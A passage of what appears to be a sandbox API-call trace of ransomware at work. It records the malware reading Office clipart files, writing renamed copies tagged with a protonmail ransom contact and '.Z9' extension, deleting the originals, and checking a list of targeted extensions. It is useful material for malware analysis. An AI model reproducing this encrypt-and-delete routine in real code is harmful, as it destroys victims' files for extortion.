	[0169.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0169.996] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.996] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0169.997] GetLastError () returned 0x0
	[0169.997] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x19a8, lpOverlapped=0x0) returned 1
	[0170.150] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x19b0, lpOverlapped=0x0) returned 1
	[0170.171] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.171] WriteFile (in: hFile=0x4a8, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.171] SetEndOfFile (hFile=0x4a8) returned 1
	[0170.171] CloseHandle (hObject=0x4a8) returned 1
	[0170.171] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.171] SetEndOfFile (hFile=0x4a4) returned 1
	[0170.174] CloseHandle (hObject=0x4a4) returned 1
	[0170.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0170.174] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105286.wmf")) returned 1
	[0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.175] lstrlenW (lpString=".doc") returned 4
	[0170.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.175] lstrlenW (lpString=".docx") returned 5
	[0170.175] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.175] lstrlenW (lpString=".pdf") returned 4
	[0170.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.175] lstrlenW (lpString=".xls") returned 4
	[0170.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.175] lstrlenW (lpString=".xlsx") returned 5
	[0170.175] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.176] lstrlenW (lpString=".ppt") returned 4
	[0170.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.176] lstrlenW (lpString=".zip") returned 4
	[0170.176] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.176] lstrlenW (lpString=".rar") returned 4
	[0170.176] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString=".bz2") returned 4
	[0170.176] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString=".7z") returned 3
	[0170.176] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.176] lstrlenW (lpString=".dbf") returned 4
	[0170.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.176] lstrlenW (lpString=".1cd") returned 4
	[0170.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.176] lstrlenW (lpString=".jpg") returned 4
	[0170.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.176] lstrlenW (lpString=".doc") returned 4
	[0170.176] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString=".docx") returned 5
	[0170.176] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.176] lstrlenW (lpString=".pdf") returned 4
	[0170.176] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString=".xls") returned 4
	[0170.176] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.176] lstrlenW (lpString=".xlsx") returned 5
	[0170.176] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.176] lstrlenW (lpString=".ppt") returned 4
	[0170.176] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.176] lstrlenW (lpString=".zip") returned 4
	[0170.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.177] lstrlenW (lpString=".rar") returned 4
	[0170.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.177] lstrlenW (lpString=".bz2") returned 4
	[0170.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.177] lstrlenW (lpString=".7z") returned 3
	[0170.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.177] lstrlenW (lpString=".dbf") returned 4
	[0170.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.177] lstrlenW (lpString=".1cd") returned 4
	[0170.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105286.WMF") returned 68
	[0170.177] lstrlenW (lpString=".jpg") returned 4
	[0170.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.177] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0170.177] lstrlenW (lpString="J0105336.WMF") returned 12
	[0170.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0170.216] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=2900) returned 1
	[0170.216] CloseHandle (hObject=0x524) returned 1
	[0170.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220
	[0170.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0170.590] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.597] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0171.398] GetLastError () returned 0x0
	[0171.398] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xb54, lpOverlapped=0x0) returned 1
	[0171.399] WriteFile (in: hFile=0x520, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xb60, lpOverlapped=0x0) returned 1
	[0171.400] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.400] WriteFile (in: hFile=0x520, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.400] SetEndOfFile (hFile=0x520) returned 1
	[0171.401] CloseHandle (hObject=0x520) returned 1
	[0171.401] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.401] SetEndOfFile (hFile=0x4a4) returned 1
	[0171.404] CloseHandle (hObject=0x4a4) returned 1
	[0171.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1
	[0171.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.407] lstrlenW (lpString=".doc") returned 4
	[0171.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString=".docx") returned 5
	[0171.407] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.407] lstrlenW (lpString=".pdf") returned 4
	[0171.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString=".xls") returned 4
	[0171.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.407] lstrlenW (lpString=".xlsx") returned 5
	[0171.407] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.407] lstrlenW (lpString=".ppt") returned 4
	[0171.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.407] lstrlenW (lpString=".zip") returned 4
	[0171.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.407] lstrlenW (lpString=".rar") returned 4
	[0171.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString=".bz2") returned 4
	[0171.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString=".7z") returned 3
	[0171.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.407] lstrlenW (lpString=".dbf") returned 4
	[0171.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.407] lstrlenW (lpString=".1cd") returned 4
	[0171.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.407] lstrlenW (lpString=".jpg") returned 4
	[0171.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.408] lstrlenW (lpString=".doc") returned 4
	[0171.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.408] lstrlenW (lpString=".docx") returned 5
	[0171.408] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.408] lstrlenW (lpString=".pdf") returned 4
	[0171.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.408] lstrlenW (lpString=".xls") returned 4
	[0171.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.408] lstrlenW (lpString=".xlsx") returned 5
	[0171.408] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.408] lstrlenW (lpString=".ppt") returned 4
	[0171.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.408] lstrlenW (lpString=".zip") returned 4
	[0171.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.408] lstrlenW (lpString=".rar") returned 4
	[0171.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.408] lstrlenW (lpString=".bz2") returned 4
	[0171.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.408] lstrlenW (lpString=".7z") returned 3
	[0171.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.408] lstrlenW (lpString=".dbf") returned 4
	[0171.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.408] lstrlenW (lpString=".1cd") returned 4
	[0171.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68
	[0171.408] lstrlenW (lpString=".jpg") returned 4
	[0171.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.409] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.409] lstrlenW (lpString="J0105386.WMF") returned 12
	[0171.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0171.410] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=5980) returned 1
	[0171.410] CloseHandle (hObject=0x4a4) returned 1
	[0171.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220
	[0171.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0171.410] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.410] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0171.411] GetLastError () returned 0x0
	[0171.411] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x175c, lpOverlapped=0x0) returned 1
	[0171.422] WriteFile (in: hFile=0x520, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1760, lpOverlapped=0x0) returned 1
	[0171.425] ReadFile (in: hFile=0x4a4, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.425] WriteFile (in: hFile=0x520, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.425] SetEndOfFile (hFile=0x520) returned 1
	[0171.425] CloseHandle (hObject=0x520) returned 1
	[0171.425] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.426] SetEndOfFile (hFile=0x4a4) returned 1
	[0171.428] CloseHandle (hObject=0x4a4) returned 1
	[0171.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1
	[0171.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.429] lstrlenW (lpString=".doc") returned 4
	[0171.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.429] lstrlenW (lpString=".docx") returned 5
	[0171.429] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.429] lstrlenW (lpString=".pdf") returned 4
	[0171.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString=".xls") returned 4
	[0171.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.430] lstrlenW (lpString=".xlsx") returned 5
	[0171.430] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.430] lstrlenW (lpString=".ppt") returned 4
	[0171.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.430] lstrlenW (lpString=".zip") returned 4
	[0171.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.430] lstrlenW (lpString=".rar") returned 4
	[0171.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString=".bz2") returned 4
	[0171.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString=".7z") returned 3
	[0171.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.430] lstrlenW (lpString=".dbf") returned 4
	[0171.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.430] lstrlenW (lpString=".1cd") returned 4
	[0171.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.430] lstrlenW (lpString=".jpg") returned 4
	[0171.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.430] lstrlenW (lpString=".doc") returned 4
	[0171.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString=".docx") returned 5
	[0171.430] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.430] lstrlenW (lpString=".pdf") returned 4
	[0171.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.430] lstrlenW (lpString=".xls") returned 4
	[0171.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.431] lstrlenW (lpString=".xlsx") returned 5
	[0171.431] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.431] lstrlenW (lpString=".ppt") returned 4
	[0171.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.431] lstrlenW (lpString=".zip") returned 4
	[0171.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.431] lstrlenW (lpString=".rar") returned 4
	[0171.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.431] lstrlenW (lpString=".bz2") returned 4
	[0171.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.431] lstrlenW (lpString=".7z") returned 3
	[0171.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.431] lstrlenW (lpString=".dbf") returned 4
	[0171.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.431] lstrlenW (lpString=".1cd") returned 4
	[0171.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0171.431] lstrlenW (lpString=".jpg") returned 4
	[0171.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.431] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.431] lstrlenW (lpString="J0105388.WMF") returned 12
	[0171.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0171.457] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=8252) returned 1
	[0171.457] CloseHandle (hObject=0x530) returned 1
	[0171.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220
